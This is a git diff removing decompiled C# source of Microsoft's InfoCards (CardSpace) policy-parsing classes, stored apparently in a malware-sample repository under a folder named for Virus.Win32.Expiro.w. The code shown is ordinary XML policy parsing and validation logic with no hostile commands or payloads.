- } - - public static Policy CreateMergedPolicy( - string originalPolicyXml, - Policy primary, - Policy secondary) - { - Policy mergedPolicy = new Policy(); - mergedPolicy.m_policyXml = originalPolicyXml; - mergedPolicy.m_requiredClaimUris = primary.m_requiredClaimUris != null ? primary.m_requiredClaimUris : secondary.m_requiredClaimUris; - mergedPolicy.m_optionalClaimUris = primary.m_optionalClaimUris != null ? primary.m_optionalClaimUris : secondary.m_optionalClaimUris; - mergedPolicy.m_requestType = !string.IsNullOrEmpty(primary.m_requestType) ? primary.m_requestType : secondary.m_requestType; - mergedPolicy.m_unprocessedPolicyElements = primary.m_unprocessedPolicyElements; - mergedPolicy.m_policyAppliesToEpr = (EndpointAddress) null != primary.m_policyAppliesToEpr ? primary.m_policyAppliesToEpr : secondary.m_policyAppliesToEpr; - mergedPolicy.m_keySize = primary.m_keySizeSpecified ? primary.m_keySize : secondary.m_keySize; - mergedPolicy.m_keyType = primary.m_keyTypeSpecified ? primary.m_keyType : secondary.m_keyType; - mergedPolicy.m_nonWhiteListElements = new List(); - mergedPolicy.m_nonWhiteListElementFound = primary.m_nonWhiteListElementFound || secondary.m_nonWhiteListElementFound; - if (primary.m_nonWhiteListElementFound) - mergedPolicy.m_nonWhiteListElements.AddRange((IEnumerable) primary.m_nonWhiteListElements); - if (secondary.m_nonWhiteListElementFound) - mergedPolicy.m_nonWhiteListElements.AddRange((IEnumerable) secondary.m_nonWhiteListElements); - InfoCardTrace.Assert(null != primary.m_protocolProfile, "Received Null Protocol Profile in the Primary Policy"); - mergedPolicy.m_protocolProfile = primary.ProtocolVersionProfile; - mergedPolicy.m_optionalRstParams = OptionalRstParameters.CreateMergedParameters(primary.OptionalRstParams, secondary.OptionalRstParams); - return mergedPolicy; - } - - public string RequestType => this.m_requestType; - - public string PolicyXml => this.m_policyXml; - - public OptionalRstParameters OptionalRstParams => this.m_optionalRstParams; - - public string[] RequiredClaims => this.m_requiredClaimUris; - - public string[] OptionalClaims => this.m_optionalClaimUris; - - public SecurityKeyTypeInternal KeyType => this.m_keyType; - - public bool KeyTypeSpecified => this.m_keyTypeSpecified; - - public EndpointAddress PolicyAppliesTo => this.m_policyAppliesToEpr; - - public MemoryStream UnprocessedPolicyElements => this.m_unprocessedPolicyElements; - - public bool KeySizeSpecified => this.m_keySizeSpecified; - - public uint KeySize => this.m_keySize; - - public bool NonWhiteListElementsFound => this.m_nonWhiteListElementFound; - - public List NonWhiteListElements => this.m_nonWhiteListElements; - - public ProtocolProfile ProtocolVersionProfile => this.m_protocolProfile; - - public void ParsePolicyXml(string policyXml) - { - XmlReader reader = InfoCardSchemas.CreateReader(policyXml); - try - { - this.m_protocolProfile = new ProtocolProfile(policyXml); - bool isEmptyElement = reader.IsEmptyElement; - reader.ReadStartElement(); - if (isEmptyElement) - return; - while (reader.IsStartElement()) - { - if (InfoCardConstants.DoesPolicyElementsToBeProcessedListContain(reader.NamespaceURI, reader.LocalName)) - { - bool flag = false; - if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.SignatureAlgorithm, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadSignatureAlgorithm(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.EncryptionAlgorithm, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadEncryptionAlgorithm(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.CanonicalizationAlgorithm, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadCanonicalizationAlgorithm(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.SignWith, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadSignWith(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.ClaimsElement, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadClaims(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.TokenType, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadTokenType(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.KeyType, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadKeyType(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.KeySize, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadKeySize(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.EncryptWith, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadEncryptWith(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.RequestType, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadRequestType(reader); - flag = true; - } - else if (XmlNames.WSSpecificationVersion.WSTrustOasis2007 == this.ProtocolVersionProfile.WSTrust.Version && reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.SecondaryParameters, this.ProtocolVersionProfile.WSTrust.Namespace)) - this.ReadSecondaryParameters(reader); - else if (XmlNames.WSSpecificationVersion.WSTrustOasis2007 == this.ProtocolVersionProfile.WSTrust.Version && reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.KeyWrapAlgorithm, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadKeyWrapAlgorithm(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSPolicy.AppliesTo, this.ProtocolVersionProfile.WSPolicy.Namespace)) - { - this.ReadAppliesTo(reader); - flag = true; - } - else - reader.Skip(); - if (flag) - reader.ReadEndElement(); - } - else - { - if (!InfoCardConstants.DoesLocalTokenFactoryWhiteListContain(reader.NamespaceURI, reader.LocalName)) - { - this.m_nonWhiteListElementFound = true; - this.m_nonWhiteListElements.Add(reader.LocalName); - } - this.CopyUnprocessedPolicyElements(reader); - } - } - reader.ReadEndElement(); - } - catch (FormatException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidPolicySpecified"), (Exception) ex)); - } - catch (XmlException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidPolicySpecified"), (Exception) ex)); - } - catch (InvalidOperationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidPolicySpecified"), (Exception) ex)); - } - } - - private void ReadClaims(XmlReader reader) - { - List stringList1 = new List(); - List stringList2 = new List(); - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.ClaimsElement != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - if (XmlNodeType.Element != reader.NodeType) - return; - if (reader.IsEmptyElement) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("NoClaimsFoundInPolicy"))); - if (!reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.ClaimsElement, this.ProtocolVersionProfile.WSTrust.Namespace)) - return; - if (reader.IsEmptyElement) - { - reader.Read(); - } - else - { - reader.Read(); - while (reader.IsStartElement()) - { - if (reader.IsStartElement("ClaimType", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - { - if (XmlNodeType.EndElement != reader.NodeType) - { - string attribute1 = reader.GetAttribute("Uri", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (string.IsNullOrEmpty(attribute1)) - attribute1 = reader.GetAttribute("Uri"); - if (string.IsNullOrEmpty(attribute1)) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("ServiceInvalidClaimUri"))); - string attribute2 = reader.GetAttribute("Optional"); - bool flag1 = false; - if (!string.IsNullOrEmpty(attribute2)) - flag1 = XmlConvert.ToBoolean(attribute2); - bool flag2 = false; - bool flag3 = false; - foreach (string str in stringList1) - { - if (str == attribute1) - { - flag3 = true; - break; - } - } - foreach (string str in stringList2) - { - if (str == attribute1) - { - flag2 = true; - flag3 = true; - break; - } - } - if (flag1) - { - if (!flag3) - stringList2.Add(attribute1); - } - else if (!flag3) - stringList1.Add(attribute1); - else if (flag2) - { - stringList2.Remove(attribute1); - stringList1.Add(attribute1); - } - if (reader.IsEmptyElement) - { - reader.Read(); - } - else - { - reader.Read(); - reader.ReadEndElement(); - } - } - else - break; - } - else - reader.Skip(); - } - } - InfoCardTrace.ThrowInvalidArgumentConditional(XmlNodeType.EndElement != reader.NodeType, reader.NodeType.ToString()); - this.m_requiredClaimUris = stringList1.ToArray(); - this.m_optionalClaimUris = stringList2.ToArray(); - } - - private void ReadTokenType(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.TokenType != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - this.m_optionalRstParams.TokenType = reader.ReadString(); - } - - public void ReadAppliesTo(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSPolicy.AppliesTo != reader.LocalName || this.ProtocolVersionProfile.WSPolicy.Namespace != reader.NamespaceURI, reader.LocalName); - if (reader.IsEmptyElement) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidAppliesToInPolicy", (object) SR.GetString("AppliesToMustOnlyHaveEndpointAddress")))); - reader.Read(); - EndpointAddress endpointAddress = (EndpointAddress) null; - if (XmlNodeType.EndElement != reader.NodeType) - { - try - { - endpointAddress = EndpointAddress.ReadFrom(XmlDictionaryReader.CreateDictionaryReader(reader.ReadSubtree())); - reader.ReadEndElement(); - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - throw; - else - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidAppliesToInPolicy", (object) SR.GetString("AppliesToMustOnlyHaveEndpointAddress")), ex)); - } - if (reader.IsStartElement()) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidAppliesToInPolicy", (object) SR.GetString("AppliesToMustOnlyHaveEndpointAddress")))); - } - this.m_policyAppliesToEpr = endpointAddress; - } - - private void ReadKeyType(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.KeyType != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - Uri uri = new Uri(reader.ReadString()); - if (this.ProtocolVersionProfile.WSTrust.KeyTypeSymmetric.Equals((object) uri)) - this.m_keyType = SecurityKeyTypeInternal.SymmetricKey; - else if (this.ProtocolVersionProfile.WSTrust.KeyTypeAsymmetric.Equals((object) uri)) - this.m_keyType = SecurityKeyTypeInternal.AsymmetricKey; - else if (this.ProtocolVersionProfile.WSTrust.KeyTypeBearer.Equals((object) uri)) - this.m_keyType = SecurityKeyTypeInternal.NoKey; - else - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("KeyTypeNotRecognized", (object) uri.ToString()))); - this.m_keyTypeSpecified = true; - } - - private void ReadKeySize(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.KeySize != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - try - { - this.m_keySize = Convert.ToUInt32(reader.ReadString(), (IFormatProvider) CultureInfo.InvariantCulture); - } - catch (FormatException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("ServiceBadKeySizeInPolicy"), (Exception) ex)); - } - catch (OverflowException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("ServiceBadKeySizeInPolicy"), (Exception) ex)); - } - this.m_keySizeSpecified = true; - } - - private void ReadSignatureAlgorithm(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.SignatureAlgorithm != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - this.m_optionalRstParams.SignatureAlgorithm = reader.ReadString(); - } - - private void ReadEncryptionAlgorithm(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.EncryptionAlgorithm != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - this.m_optionalRstParams.EncryptionAlgorithm = reader.ReadString(); - } - - private void ReadCanonicalizationAlgorithm(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.CanonicalizationAlgorithm != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - this.m_optionalRstParams.CanonicalizationAlgorithm = reader.ReadString(); - } - - private void ReadEncryptWith(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.EncryptWith != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - this.m_optionalRstParams.EncryptWith = reader.ReadString(); - } - - private void ReadSignWith(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.SignWith != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - this.m_optionalRstParams.SignWith = reader.ReadString(); - } - - private void ReadRequestType(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.RequestType != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - this.m_requestType = reader.ReadString(); - } - - private void ReadSecondaryParameters(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.SecondaryParameters != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - while (reader.IsStartElement()) - reader.Skip(); - } - - private void ReadKeyWrapAlgorithm(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.KeyWrapAlgorithm != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - this.m_optionalRstParams.KeyWrapAlgorithm = reader.ReadString(); - } - - private void CopyUnprocessedPolicyElements(XmlReader reader) - { - if (this.m_unprocessedPolicyElements == null) - this.m_unprocessedPolicyElements = new MemoryStream(); - XmlWriter xmlWriter = XmlWriter.Create((Stream) this.m_unprocessedPolicyElements, new XmlWriterSettings() - { - OmitXmlDeclaration = true - }); - xmlWriter.WriteNode(reader, true); - xmlWriter.Flush(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/PolicyFactory.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/PolicyFactory.cs deleted file mode 100644 index 952d6f0c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/PolicyFactory.cs +++ /dev/null @@ -1,141 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.PolicyFactory -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.Globalization; -using System.IdentityModel.Selectors; -using System.IO; -using System.ServiceModel; -using System.ServiceModel.Security.Tokens; -using System.Text; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class PolicyFactory - { - private PolicyFactory() - { - } - - public static Policy CreatePolicyFromUnwrappedPolicyXml(string originalPolicyXml) - { - string rstPolicyXml = string.Format((IFormatProvider) CultureInfo.InvariantCulture, "<{0}:{1} xmlns:{0}='{2}'>{3}", (object) XmlNames.WSSecurityPolicyXmlSoap2005.Instance.DefaultPrefix, (object) XmlNames.WSSecurityPolicyXmlSoap2005.Instance.RequestSecurityTokenTemplate, (object) XmlNames.WSSecurityPolicyXmlSoap2005.Instance.Namespace, (object) originalPolicyXml); - return new Policy(originalPolicyXml, rstPolicyXml); - } - - public static InfoCardPolicy CreatePolicyForCustomTokenProvider( - EndpointAddress immediateTokenRecipient, - IssuedSecurityTokenParameters issuedTokenParameters, - ProtocolProfile profile) - { - ParsedPolicy parsedPolicy = PolicyFactory.CreateParsedPolicy((IEnumerable) issuedTokenParameters.CreateRequestParameters(profile.MsgSecurityVersion, (SecurityTokenSerializer) profile.TokenSerializer)); - return new InfoCardPolicy(immediateTokenRecipient, issuedTokenParameters.IssuerAddress, parsedPolicy, PolicyUsageContext.GetToken, (string) null, 0U, (RecipientIdentity) null, false); - } - - public static InfoCardPolicy CreatePolicyForGetBrowserTokenRequest( - CardSpacePolicyElement policyElement, - Uri recipientPolicyNoticeLink, - uint recipientPolicyNoticeVersion, - RecipientIdentity recipientIdentity, - PolicyUsageContext usageContext) - { - EndpointAddress immediateTokenRecipient = (EndpointAddress) null; - if (!string.IsNullOrEmpty(policyElement.Target.OuterXml)) - immediateTokenRecipient = PolicyFactory.CreateEndpointAddressFromString(policyElement.Target.OuterXml); - EndpointAddress issuer = (EndpointAddress) null; - if (policyElement.Issuer != null && !string.IsNullOrEmpty(policyElement.Issuer.OuterXml)) - issuer = PolicyFactory.CreateEndpointAddressFromString(policyElement.Issuer.OuterXml); - ParsedPolicy parsedPolicy = PolicyFactory.CreateParsedPolicy((IEnumerable) policyElement.Parameters); - return new InfoCardPolicy(immediateTokenRecipient, issuer, parsedPolicy, usageContext, (Uri) null != recipientPolicyNoticeLink ? recipientPolicyNoticeLink.ToString() : (string) null, recipientPolicyNoticeVersion, recipientIdentity, false); - } - - public static InfoCardPolicy CreatePolicyForIntermediateGetBrowserTokenRequest( - CardSpacePolicyElement policyElement, - Uri recipientPolicyNoticeLink, - uint recipientPolicyNoticeVersion, - RecipientIdentity recipientIdentity) - { - EndpointAddress immediateTokenRecipient = (EndpointAddress) null; - if (!string.IsNullOrEmpty(policyElement.Target.OuterXml)) - immediateTokenRecipient = PolicyFactory.CreateEndpointAddressFromString(policyElement.Target.OuterXml); - EndpointAddress issuer = (EndpointAddress) null; - if (policyElement.Issuer != null && !string.IsNullOrEmpty(policyElement.Issuer.OuterXml)) - issuer = PolicyFactory.CreateEndpointAddressFromString(policyElement.Issuer.OuterXml); - ParsedPolicy parsedPolicy = PolicyFactory.CreateParsedPolicy((IEnumerable) policyElement.Parameters); - return new InfoCardPolicy(immediateTokenRecipient, issuer, parsedPolicy, PolicyUsageContext.Intermediate, (Uri) null != recipientPolicyNoticeLink ? recipientPolicyNoticeLink.ToString() : (string) null, recipientPolicyNoticeVersion, recipientIdentity, false); - } - - public static InfoCardPolicy CreatePolicyForGetTokenRequest( - BinaryReader reader, - string recipientXml, - string issuerXml, - string policyXml, - bool isManaged) - { - if (!string.IsNullOrEmpty(policyXml)) - { - string xml = string.Format((IFormatProvider) CultureInfo.InvariantCulture, "<{0}:{1} xmlns:{0}='{2}'>{3}", (object) XmlNames.WSSecurityPolicyXmlSoap2005.Instance.DefaultPrefix, (object) XmlNames.WSSecurityPolicyXmlSoap2005.Instance.RequestSecurityTokenTemplate, (object) XmlNames.WSSecurityPolicyXmlSoap2005.Instance.Namespace, (object) policyXml); - XmlDocument xmlDocument = new XmlDocument(); - xmlDocument.LoadXml(xml); - Collection elements = new Collection(); - foreach (XmlElement childNode in xmlDocument.DocumentElement.ChildNodes) - elements.Add(childNode); - ParsedPolicy parsedPolicy = PolicyFactory.CreateParsedPolicy((IEnumerable) elements); - return new InfoCardPolicy(!string.IsNullOrEmpty(recipientXml) ? PolicyFactory.CreateEndpointAddressFromString(recipientXml) : (EndpointAddress) null, !string.IsNullOrEmpty(issuerXml) ? PolicyFactory.CreateEndpointAddressFromString(issuerXml) : (EndpointAddress) null, parsedPolicy, PolicyUsageContext.GetToken, (string) null, 0U, (RecipientIdentity) null, isManaged); - } - if (!isManaged) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidPolicySpecified"))); - return new InfoCardPolicy(!string.IsNullOrEmpty(recipientXml) ? PolicyFactory.CreateEndpointAddressFromString(recipientXml) : (EndpointAddress) null, !string.IsNullOrEmpty(issuerXml) ? PolicyFactory.CreateEndpointAddressFromString(issuerXml) : (EndpointAddress) null, (ParsedPolicy) null, PolicyUsageContext.GetToken, (string) null, 0U, (RecipientIdentity) null, isManaged); - } - - private static ParsedPolicy CreateParsedPolicy(IEnumerable elements) - { - try - { - XmlElement xmlElement = (XmlElement) null; - StringBuilder stringBuilder1 = new StringBuilder(); - StringBuilder stringBuilder2 = new StringBuilder(); - foreach (XmlElement element in elements) - { - stringBuilder2.Append(element.OuterXml); - if (element.LocalName == "SecondaryParameters" && element.NamespaceURI == "http://docs.oasis-open.org/ws-sx/ws-trust/200512") - xmlElement = element; - else - stringBuilder1.Append(element.OuterXml); - } - return xmlElement != null ? new ParsedPolicy(stringBuilder2.ToString(), stringBuilder1.ToString(), xmlElement.InnerXml) : new ParsedPolicy(stringBuilder2.ToString(), stringBuilder1.ToString(), (string) null); - } - catch (XmlException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidPolicySpecified"), (Exception) ex)); - } - } - - private static EndpointAddress CreateEndpointAddressFromString(string fragment) - { - try - { - using (XmlReader reader = PolicyFactory.LoadXmlIntoReader(fragment.Trim())) - { - reader.MoveToElement(); - return EndpointAddress.ReadFrom(XmlDictionaryReader.CreateDictionaryReader(reader)); - } - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("ServiceInvalidEprInPolicy"), ex)); - throw; - } - } - - private static XmlReader LoadXmlIntoReader(string fragment) => InfoCardSchemas.CreateReader(fragment); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/PolicyType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/PolicyType.cs deleted file mode 100644 index 302f0158..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/PolicyType.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.PolicyType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -namespace Microsoft.InfoCards -{ - internal enum PolicyType - { - PrimaryOnly, - SecondaryOnly, - Composite, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/PolicyUsageContext.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/PolicyUsageContext.cs deleted file mode 100644 index 39514030..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/PolicyUsageContext.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.PolicyUsageContext -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -namespace Microsoft.InfoCards -{ - internal enum PolicyUsageContext - { - Browser, - Intermediate, - GetToken, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/PolicyUtility.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/PolicyUtility.cs deleted file mode 100644 index a0d8bfd9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/PolicyUtility.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.PolicyUtility -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -namespace Microsoft.InfoCards -{ - internal class PolicyUtility - { - public static bool IsSelfIssuedTokenType(string tokenType) => "urn:oasis:names:tc:SAML:1.0:assertion" == tokenType || "urn:oasis:names:tc:SAML:1.0:assertion" == tokenType || "http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1" == tokenType; - - public static bool IsSelfIssuedClaim(string claimType) - { - foreach (string selfIssuedClaimsUri in InfoCardConstants.SelfIssuedClaimsUris) - { - if (selfIssuedClaimsUri == claimType) - return true; - } - return InfoCardConstants.PPIDClaimsUri == claimType; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/PolicyValidationException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/PolicyValidationException.cs deleted file mode 100644 index afb12852..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/PolicyValidationException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.PolicyValidationException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class PolicyValidationException : InfoCardBaseException - { - private const int HRESULT = -1073413877; - - public PolicyValidationException() - : base(-1073413877) - { - } - - public PolicyValidationException(string message) - : base(-1073413877, message) - { - } - - public PolicyValidationException(string message, Exception inner) - : base(-1073413877, message, inner) - { - } - - protected PolicyValidationException(SerializationInfo si, StreamingContext sc) - : base(-1073413877, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/PolicyValidator.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/PolicyValidator.cs deleted file mode 100644 index d1e074a4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/PolicyValidator.cs +++ /dev/null @@ -1,139 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.PolicyValidator -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: 